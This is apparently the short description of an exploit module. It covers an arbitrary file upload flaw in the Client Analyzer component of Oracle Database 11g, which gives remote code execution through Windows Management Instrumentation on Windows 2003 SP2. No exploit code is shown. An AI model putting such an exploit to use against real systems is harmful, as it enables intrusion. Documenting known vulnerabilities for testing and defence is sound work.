This module exploits an arbitrary file upload vulnerability on the Client  
Analyzer component as included in Oracle Database 11g, which allows remote  
attackers to upload and execute arbitrary code. This module has been tested  
successfully on Oracle Database 11g 11.2.0.1.0 on Windows 2003 SP2, where execution  
through the Windows Management Instrumentation service has been used.
